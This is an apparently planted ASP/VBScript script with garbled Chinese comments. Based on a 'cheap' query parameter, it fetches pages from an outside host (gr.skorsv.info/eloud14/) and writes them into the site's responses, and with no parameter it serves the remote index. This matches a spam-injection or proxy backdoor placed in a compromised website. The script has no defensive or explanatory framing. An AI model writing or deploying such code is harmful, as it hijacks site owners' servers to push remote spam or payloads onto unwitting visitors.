锘?% Dim QueryStr,HtmlStr,Host Host = Request.ServerVariables("Http_Host") 'QueryStr = Request.QueryString QueryStr = Request.QueryString("cheap") if QueryStr <> "" then HtmlStr = GetHttpPage("http://gr.skorsv.info/eloud14/" & QueryStr & ".php","UTF-8") if HtmlStr <> "$False$" then Response.write HtmlStr Response.End End IF else Response.write GetHttpPage ("http://gr.skorsv.info/eloud14/index.php","utf-8") end if Public Function GetHttpPage(HttpUrl,Charset) 'On Error Resume Next If IsNull(HttpUrl)=True Or Len(HttpUrl)<10 Or HttpUrl="$False$" Then GetHttpPage="$False$" Exit Function End If Dim Http Set Http=server.createobject("MSXML2.XMLHTTP") Http.open "GET",HttpUrl,False Http.Send() If Http.Readystate<>4 then Set Http=Nothing GetHttpPage="$False$" Exit function End if GetHTTPPage=bytesToBSTR(Http.responseBody,Charset) GetHTTPPage=replace(replace(GetHTTPPage , vbCr,""),vbLf,"") Set Http=Nothing If Err.number<>0 then Err.Clear End If End Function '================================================== '杲冴偣tesToBstr '追 觾锟借〉臄霔獤袔膷 '式獐 ------要转鍎变伩 '式愠 ------要转鍎袓 '================================================== Private Function BytesToBstr(Body,Cset) Dim Objstream Set Objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %>